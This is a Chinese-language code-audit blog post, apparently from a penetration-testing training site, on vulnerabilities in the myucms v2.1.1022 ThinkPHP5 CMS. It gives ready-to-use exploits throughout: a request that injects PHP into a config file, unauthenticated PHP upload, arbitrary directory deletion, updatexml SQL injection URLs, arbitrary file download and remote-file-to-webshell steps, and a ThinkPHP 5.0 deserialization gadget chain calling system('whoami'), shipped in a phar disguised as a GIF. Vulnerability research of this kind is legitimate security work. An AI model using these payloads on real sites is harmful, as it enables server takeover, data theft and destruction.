1. 首页
  2. 代码审计

代码审计 TP5二开myucms

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

代码审计 TP5二开myucms
代码审计 TP5二开myucms

版本:v2.1.1022
下载地址:https://down.easck.com/code/59956.html#xzdz

1
介绍

Myucms是基于ThinkPHP5开发的,是一个商城内容管理系统
路由访问
http://localhost:81/index.php/bbs/index/index

2
熟悉TP框架

首先查看有没有开启错误回显、是否开启全局过滤、伪静态后缀

// 错误显示信息,非调试模式有效'error_message'// 显示错误信息'show_error_msg'=> '页面错误!请稍后再试~',=> false,// 默认全局过滤方法 用逗号分隔多个'default_filter'=> '',// URL伪静态后缀'url_html_suffix'=> 'html',

找到一处添加板块的方法,看源码

代码审计 TP5二开myucms

源码如下。看到接受传参的方式是一个 input(post.) ,通过post传参获取所有的内容。直接将获
取的结果使用add方法进行添加,这里的 $data 是一个数组的形式,所以这种情况下不会导致注入
问题

public function add(){$category = new CategoryModel();if (request()->isPost()) {$data = input('post.');$data['time'] = time();if ($category->add($data)) {return json(array('code' => 200, 'msg' => '添加成功'));} else {return json(array('code' => 0, 'msg' => '添加失败'));}}$gzc = $category->catetree();$this->assign('gzc', $gzc);return view();}

还有一处edit的方法,有一个单独传参的 input(‘id’) ,id是会根据主键去查询内容,这里的id就
是个int类型。虽然这个源码没有设置全局过滤,但是这里也不能导致注入产生

public function edit(){$category = new CategoryModel();if (request()->isPost()) {$data = input('post.');if ($category->edit($data)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0, 'msg' => '修改失败'));}}$gzc = $category->find(input('id'));$gzcs = $category->catetree();$this->assign(array('gzcs' => $gzcs, 'gzc' => $gzc));return view();}以下这几种查询,会将语句变为数组,防止了SQL注入的产生db('category')->where('id', $change)->update(['sidebar' => 0]);if($banner->destroy(input('post.id'))){

3
文件上传漏洞

在系统管理->网站配置处存在一处上传,首先看一下上传的功能代码

代码审计 TP5二开myucms

先上传一个图片,看一下路由,然后根据路由找到相应的文件

代码审计 TP5二开myucms

来到 application/admin/controller/Upload.php/upfile ,这里首先会验证session,需要登陆。然
后调用了 model->upfile

public function upfile(){if (!session('userid') || !session('username')) {$this->error('亲!请登录',url('bbs/login/index'));} else {return json($this->model->upfile('files'));}}

跟踪 model->upfile ,因为这个控制器继承了model模块,所以这里需要找到model下的upfile方
法。
最终找到Up继承了Model类,上面的调用会来到这里

public function upfile($type,$filename = 'file',$is_water = false){if (config('web.qiniuopen') == 1) {$driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey'=> config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' =>config('web.bucket'));$setting = array('rootPath' => './', 'saveName' => array('uniqid', ''),'hash' => true);$setting['exts'] = explode(',', config('web.WEB_RXT'));$setting['maxSize'] = 50 * 1024 * 1024;$File = $_FILES['file'];$Upload = new Upload($setting, 'Qiniu', $driverConfig);$info = $Upload->uploadOne($File);if ($info) {......//默认会进入else判断} else {$file = request()->file($filename);$md5 = $file->hash('md5');$n = Db::name('file')->where('md5', $md5)->find();if (empty($n)) {$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' =>config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');if ($info) {$path = DS . 'uploads' . DS . $info->getSaveName();$path = str_replace("", "/", $path);$realpath = WEB_URL . $path;$data['sha1'] = $info->sha1();$data['md5'] = $info->md5();$data['create_time'] = time();$data['uid'] = session('userid');$data['download'] = 0;$data['size'] = $info->getSize();$fileinfo = $info->getInfo();$data['name'] = $fileinfo['name'];$data['ext'] = $info->getExtension();

 $data['savepath'] = $path;$data['savename'] = $info->getFilename();$data['mime'] = $fileinfo['type'];Db::name('file')->insert($data);$res = Db::name('file')->getLastInsID();if ($res > 0) {return array('code' => 200, 'msg' => '上传成功', 'hasscore' =>0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5'=> $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info'=> $info->getInfo());} else {return array('code' => 0, 'msg' => '上传失败');}} else {return array('code' => 0, 'msg' => $file->getError());}} else {$path = $n['savepath'];$realpath = WEB_URL . $path;return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext'=> $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' =>$n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);}}

这里通过request()->file($filename),获取全部的文件。通过下面的处理文件上传的方式会获取
到 $_FILE 的所有内容

public function file($name = ''){if (empty($this->file)) {$this->file = isset($_FILES) ? $_FILES : [];}if (is_array($name)) {return $this->file = array_merge($this->file, $name);}$files = $this->file;if (!empty($files)) {// 处理上传文件$array = [];foreach ($files as $key => $file) {if (is_array($file['name'])) {$item = [];$keys = array_keys($file);$count = count($file['name']);for ($i = 0; $i < $count; $i++) {if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {continue;}

 $temp['key'] = $key;foreach ($keys as $_key) {$temp[$_key] = $file[$_key][$i];}$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);}$array[$key] = $item;} else {if ($file instanceof File) {$array[$key] = $file;} else {if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {continue;}$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);}}}if (strpos($name, '.')) {list($name, $sub) = explode('.', $name);}if ('' === $name) {// 获取全部文件return $array;} elseif (isset($sub) && isset($array[$name][$sub])) {return $array[$name][$sub];} elseif (isset($array[$name])) {return $array[$name];}}return;

如果上传过一次文件,文件会保存在数据库的file表,然后存储。

代码审计 TP5二开myucms

这里是通过 $file->hash(‘md5’); 计算,然后再通过 Db::name(‘file’)->where(‘md5’, $md5)-
>find(); 去查询,如果有内容,就会返回那个路径信息,不会覆盖上传。
在这里会验证上传的后缀类型,后缀白名单判断。

$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');

在application/extra/web.php中可以看到

WEB_RXT'=>'rar,png,zip,jpg,gif,ico'如果验证成功会在move方法进行文件上传/* 移动文件 */if ($this->isTest) {rename($this->filename, $filename);} elseif (!move_uploaded_file($this->filename, $filename)) {$this->error = 'upload write error';return false;}

如何导致任意文件上传?
在 application/admin/controller/Config.php/add 方法中,可以将获取的参数添加到web.php

public function add(){$path = 'application/extra/web.php';$file = include $path;$config = array('WEB_RXT' => input('WEB_RXT'),'WEB_GL' => input('WEB_GL'),'WEB_REG' => input('WEB_REG'),'WEB_TAG' => input('WEB_TAG'),'WEB_OPE' => input('WEB_OPE'),'WEB_BUG' => input('WEB_BUG'),'WEB_BBS' => input('WEB_BBS'),'WEB_SHOP' => input('WEB_SHOP'),'WEB_INDEX' => input('WEB_INDEX'),'WEB_KEJIAN' => input('WEB_KEJIAN'),'WEB_KEJIANS' => input('WEB_KEJIANS'),'Cascade' => input('Cascade'),//七牛'bucket' => input('bucket'),'accessKey' => input('accessKey'),'secrectKey' => input('secrectKey'),'domain' => input('domain'),'qiniuopen' => input('qiniuopen'),);$res = array_merge($file, $config);$str = '<?php return [';foreach ($res as $key => $value) {$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';}$str .= ']; ';if (file_put_contents($path, $str)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0'msg' => '修改失败'));}

这个方法在网站配置->更多设置 处进行更改。这里的附件格式可控,那么就可以添加一个新后
缀,然后写入web.php,再次进行上传的时候验证白名单,而白名单就是我们自己设置的。这样
就可以导致一处任意文件上传。

代码审计 TP5二开myucms

4
思考

既然这里可以修改任意的后缀,可以修改任意的内容,如果这里不进行参数过滤是否有办法达写
入webshell
直接访问web.php是空白的,因为再写入的时候开头会有个return,但是在add方法中也看到了存
在包含的关系
$path = ‘application/extra/web.php’;
$file = include $path;
在上面熟悉TP代码的时候,是没有看到全局过滤的,那么就可以直接写入 ‘];phpinfo();// 写入一
段代码
可以看到是写入成功的

代码审计 TP5二开myucms

其他几处亦是如此,找一个内容少的qq.php,尝试利用

public function addqq(){$path = 'application/extra/qq.php';$file = include $path;$config = array('qq-appid' => input('qq-appid'),'qq-appkey' => input('qq-appkey'),'qq-callback' => input('qq-callback'),);$res = array_merge($file, $config);$str = '<?php return [';foreach ($res as $key => $value) {$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';}$str .= ']; ';if (file_put_contents($path, $str)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0, 'msg' => '修改失败'));}}

构造poc写入文件

GET:http://192.168.0.100:81/admin.php/config/addqq.htmlPOST:qq-appid=0000&qq-appkey=00000&qq-callback=http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")];/

写入成功是这样

<?php return ['qq-appid'=>'0000','qq-appkey'=>'00000','qq-callback'=>'http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")

然后访问 application/extra/qq.php ,就会在当前目录生成一个php文件

代码审计 TP5二开myucms

来到前台的上传 application/index/controller/Upload.php ,看如下两个方法都是请求上传。使
用 $this->model->upfile 来发起上传请求

public function upimage(){if (!session('userid') || !session('username')) {$this->error('亲!请登录',url('bbs/login/index'));} else {return json($this->model->upfile('images'));}}public function upfile(){if (!session('userid') || !session('username')) {$this->error('亲!请登录',url('bbs/login/index'));} else {return json($this->model->upfile('files'));}}

发起的请求会来到upfile方法,上面已经知道了web.php可以重写覆盖,那么就可以写入一个新的
后缀来进行一个任意文件上传。
public function upfile($type,$filename = ‘file’,$is_water = false){

5
任意文件上传

在application/admin/controller/Shops.php/doUploadPic

public function doUploadPic(){$file = request()->file('FileName');$info = $file->move(ROOT_PATH . DS . 'uploads');if($info){$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();echo str_replace("","/",$path);}}

界面功能点在商城管理->商品管理->添加商品

代码审计 TP5二开myucms

此处就是获取一个 FileName ,然后调用 move 方法进行移动。

public function move($path, $savename = true, $replace = true){// 文件上传失败,捕获错误代码if (!empty($this->info['error'])) {$this->error($this->info['error']);return false;}// 检测合法性if (!$this->isValid()) {$this->error = 'upload illegal files';return false;}// 验证上传if (!$this->check()) {return false;}$path = rtrim($path, DS) . DS;// 文件保存命名规则$saveName = $this->buildSaveName($savename);$filename = $path . $saveName;// 检测目录if (false === $this->checkPath(dirname($filename))) {return false;}// 不覆盖同名文件if (!$replace && is_file($filename)) {$this->error = ['has the same filename: {:filename}', ['filename' =>$filename]];return false;}/* 移动文件 */if ($this->isTest) {rename($this->filename, $filename);} elseif (!move_uploaded_file($this->filename, $filename)) {$this->error = 'upload write error';return false;}// 返回 File 对象实例$file = new self($filename);$file->setSaveName($saveName)->setUploadInfo($this->info);return $file;}

这里相比于上面的上传没有进行validate验证,直接可以上传文件且没有验证session
$file->validate([‘size’ => 50 * 1024 * 1024, ‘ext’ => config(‘web.WEB_RXT’)])
上传php

代码审计 TP5二开myucms

好多文件都存在这个doUploadPic方法

6
任意文件删除漏洞

这里的代码也是很直接,没有验证身份,没有进行过滤,直接调用 deleteun 方法进行文件删除

public function un(){$info = $_GET['info'];$res=deleteun(ROOT_PATH.'application/bbs/view'.DS.$info);if ($res) {return json(array('code' => 200, 'msg' => '删除成功'));}else{return json(array('code' => 0, 'msg' => '删除失败'));}}

跟踪 deleteun 方法,这个方法有点危险直接删除了目录下的所有内容,必须是指定目录才可以循
环删除

//循环删除目录和文件函数function deleteun($dir_name){$result = false;if (is_dir($dir_name)) {if ($handle = opendir($dir_name)) {while (false !== ($item = readdir($handle))) {if ($item != '.' && $item != '..') {if (is_dir($dir_name . DS . $item)) {deleteun($dir_name . DS . $item);} else {unlink($dir_name . DS . $item);}}}closedir($handle);if (rmdir($dir_name)) {$result = true;}}}return $result;}

7
前台SQL注入漏洞

在 application/bbs/controller/User.php/xiaoxidel 处,此处是前台bbs模块的一个消息阅读和消息删除的功能

public function xiaoxidel($ids){if (!session('userid') || !session('username')) {$this->error('亲!请登录',url('bbs/login/index'));} else {if ($ids==0) {$id = input('id');$data['open'] = 1;if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',session('userid'))->update($data)) {return json(array('code' => 200, 'msg' => '标记已读成功'));} else {return json(array('code' => 0, 'msg' => '标记已读失败'));}}elseif ($ids==1){$id = input('id');if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',session('userid'))->delete($id)) {return json(array('code' => 200, 'msg' => '彻底删除成功'));} else {return json(array('code' => 0, 'msg' => '彻底删除失败'));}}}}

对应的功能图片

代码审计 TP5二开myucms

这里前台模块需要编写路由才能正常点击跳转,否则只能在浏览器拼接路径去访问。正常应该
是 /index.php/bbs/user/shoucang.html

代码审计 TP5二开myucms

这里的标记阅读和删除阅读的内容都存在SQL注入漏洞,主要是在where语句。此处直接拼接的
SQL语句。如果改为数组形式的传参就可以避免此处的问题 where(“id”,$id) ,后台的增删改查功
能都是使用这样的条件语句

if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {

正常访问 index.php/bbs/user/xiaoxidel/ids/0/id/1

代码审计 TP5二开myucms

构造非法的请求,在TP的报错页面可以看到生成的SQL语句

代码审计 TP5二开myucms

构造注入参数

/index.php/bbs/user/xiaoxidel/ids/0/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

8
多个SQL注入

在 application/bbs/controller/index.php/bankuai ,同样存在以上问题

public function bankuai(){$id = input('id');if (empty($id)) {return $this->error('亲!你迷路了');} else {$category = Db::name('category');$c = $category->where("id = {$id}")->find();在 application/shop/controller/Index.php/grid 列表功能public function grid($or){$or = input('or');$this->assign('or', $or);$id = input('id');$this->assign('id', $id);if (empty($id)) {$open['open'] = 1;$gzc = Db::name('shops')->alias('f')->join('shopcate c', 'c.id=f.tid')->join('member m', 'm.userid=f.uid')->field('f.*,c.id ascid,m.userid,m.userhead,m.username,c.name,c.description')->where($open)->order('f.settop desc , f.'.$or.' desc') -> paginate(16,false,['query' => request()->param()]);$this->assign('gzc', $gzc);$shopcate = Db::name('shopcate');$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();$gjmz = $shopcate->where("tid != 0")->order('sort desc')->select();$this->assign('gzcz', $gzcz);$this->assign('gjmz', $gjmz);$ids = -1;$this->assign('ids', $ids);} else {$shopcate = Db::name('shopcate');$c = $shopcate->where("id = {$id}")->find();if ($c) {$shopcate = Db::name('shopcate');$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();$gjmzt = $shopcate->where("id = {$id}")->value('tid');

通过全局搜索还是有很多存在注入问题,虽然有的验证了sessions,但是前台可以注册,注册完之
后就会生成session

代码审计 TP5二开myucms

9
任意文件下载

在 application/bbs/controller/Index.php/download 处是一个文件下载功能

public function download($url, $name, $local){$down = new Http();if ($local == 1) {$down->download($url, $name);} else {}}调用了 HTTP->download ,跟踪这个类。判断是否是个文件,然后读取内容下载文件static public function download ($filename, $showname='',$content='',$expire=180) {if(is_file($filename)) {$length = filesize($filename);}elseif($content != '') {$length = strlen($content);}else {

 throw_exception($filename.L('下载文件不存在!'));}if(empty($showname)) {$showname = $filename;}$showname = basename($showname);if(!empty($filename)) {$type = mime_content_type($filename);}else{$type= "application/octet-stream";}//发送Http Header信息 开始下载header("Pragma: public");header("Cache-control: max-age=".$expire);//header('Cache-Control: no-store, no-cache, must-revalidate');header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");header("Content-Disposition: attachment; filename=".$showname);header("Content-Length: ".$length);header("Content-type: ".$type);header('Content-Encoding: none');header("Content-Transfer-Encoding: binary" );if($content == '' ) {readfile($filename);}else {echo($content);}exit();}

调用这个方法下载任意文件

http://localhost:81/index.php/bbs/index/download/url/index.php/name/index.php/local/1http://localhost:81/index.php/bbs/index/download?url=thinkphp/start.php&name=&local=1

代码审计 TP5二开myucms

10
任意文件下载2

在 application/admin/controller/Index.php/sj 处,存在可控传参 title ,然后调用了 getFile

public function sj(){$xiazai = $_POST['title'];$url=$xiazai.urlencode(iconv("GB2312","UTF-8",""));$save_dir = 'runtime/myucms/';$filename ='shengji.zip';$res = getFile($url, $save_dir, $filename,0);return json(array('code' => 200, 'msg' => '升级成功'));}

跟踪到getFile文件,此处传递的参数一一对应,在下方 $fp2 = @fopen($save_dir . $filename,’a’); 进行了文件写入,写入的内容就是 title 可控的文件,生成的文件名就是 $filename

function getFile($url, $save_dir = '', $filename = '', $type = 0) {if (trim($url) == '') {return false;}if (trim($save_dir) == '') {$save_dir = './';}if (0 !== strrpos($save_dir, '/')) {$save_dir.= '/';}if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {

 return false;}if ($type) {$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);} else {ob_start();readfile($url);$content = ob_get_contents();ob_end_clean();}$size = strlen($content);$fp2 = @fopen($save_dir . $filename, 'a');fwrite($fp2, $content);fclose($fp2);unset($content, $url);}

执行任意文件下载,会显示升级成功,那么文件去哪里了?
代码审计 TP5二开myucms

文件会在 runtime/myucms/shengji.zip 这里,直接访问下载这里不能直接打开,需要修改名字为

代码审计 TP5二开myucms

index.php
读取到文件
代码审计 TP5二开myucms

可以读文件,那么就可以读取远程文件,然后写到服务器。
看这段,这是解压的方法,直接解压固定路径的zip文件。通过上面我们可以任意的写入文件,然
后可以通过这个解压的操作解压出一个php文件
//解压

public function ad(){$zip = new ZipArchive;if ($zip->open('runtime/myucms/shengji.zip') === TRUE){$zip->extractTo('application');$zip->close();unlink('runtime/myucms/shengji.zip');header("content-type:text/html;charset=utf-8");header('location:/admin.php/index/home.html');}}

读取远程服务器文件,写入 runtime/myucms/shengji.zip

代码审计 TP5二开myucms
调用ad方法进行解压
http://localhost:81/admin.php/index/ad
然后就可以访问解压的文件了
http://localhost:81/application/exp.php

代码审计 TP5二开myucms

11
Phar反序列化

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序
列化,受影响的函数如下:
代码审计 TP5二开myucms

利用Phar反序列化首先需要一条TP5.0的链子,下面也是百度来的

<?phpnamespace thinkprocesspipes{use thinkmodelPivot;ini_set('display_errors',1);class Windows{private $files = [];public function __construct($function,$parameter){$this->files = [new Pivot($function,$parameter)];}}$aaa = new Windows('system','whoami');echo base64_encode(serialize($aaa));}namespace think{abstract class Model{}}namespace thinkmodel{use thinkModel;use thinkconsoleOutput;class Pivot extends Model{protected $append = [];protected $error;public $parent;public function __construct($function,$parameter){$this->append['jelly'] = 'getError';$this->error = new relationBelongsTo($function,$parameter);$this->parent = new Output($function,$parameter);}}abstract class Relation{}}namespace thinkmodelrelation{use thinkdbQuery;use thinkmodelRelation;abstract class OneToOne extends Relationclass BelongsTo extends OneToOne{{}protected $selfRelation;protected $query;protected $bindAttr = [];public function __construct($function,$parameter){$this->selfRelation = false;$this->query = new Query($function,$parameter);$this->bindAttr = [''];}}}namespace thinkdb{use thinkconsoleOutput;class Query{protected $model;public function __construct($function,$parameter){}$this->model = new Output($function,$parameter);}}namespace thinkconsole{use thinksessiondriverMemcache;class Output{protected $styles = [];private $handle;public function __construct($function,$parameter){$this->styles = ['getAttr'];$this->handle = new Memcache($function,$parameter);}}

 }namespace thinksessiondriver{use thinkcachedriverMemcached;class Memcache{protected $handler = null;protected $config = ['expire'=> '','session_name' => '',];public function __construct($function,$parameter){$this->handler = new Memcached($function,$parameter);}}}namespace thinkcachedriver{use thinkRequest;class Memcached{protected $handler;protected $options = [];protected $tag;public function __construct($function,$parameter){$this->options = ['prefix' => 'jelly/'];$this->tag = true;$this->handler = new Request($function,$parameter);}}}namespace think{class Request{protected $get= [];protected $filter;public function __construct($function,$parameter){$this->filter = $function;$this->get = ["jelly"=>$parameter];}}}

然后找到Phar反序列化的触发点,以上给的函数都可触发Phar反序列化,所以可以在源代码中寻

在前台的download方法中,参数可控,可导致Phar反序列化。这里直接注册个会员就可以

static public function download ($filename, $showname='',$content='',$expire=180) {if(is_file($filename)) {$length = filesize($filename);}elseif($content != '') {

 $length = strlen($content);}else {throw_exception($filename.L('下载文件不存在!'));}if(empty($showname)) {$showname = $filename;}$showname = basename($showname);if(!empty($filename)) {$type = mime_content_type($filename);}else{$type= "application/octet-stream";}//发送Http Header信息 开始下载header("Pragma: public");header("Cache-control: max-age=".$expire);//header('Cache-Control: no-store, no-cache, must-revalidate');header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");header("Content-Disposition: attachment; filename=".$showname);header("Content-Length: ".$length);header("Content-type: ".$type);header('Content-Encoding: none');header("Content-Transfer-Encoding: binary" );if($content == '' ) {readfile($filename);}else {echo($content);}exit();}

接着构造Phar反序列化payload,$object就是上面反序列化链的对象,自行更改

$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$phar -> setMetadata($object);$phar -> stopBuffering();

生成Phar文件

代码审计 TP5二开myucms

前台存在上传,由于是白名单,可将phar的后缀改为gif,进行上传
index.php/index/upload/upimage.html

代码审计 TP5二开myucms

readfile触发Phar反序列化
代码审计 TP5二开myucms

12
关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

代码审计 TP5二开myucms

需要渗透测试培训联系

代码审计 TP5二开myucms

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5614.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息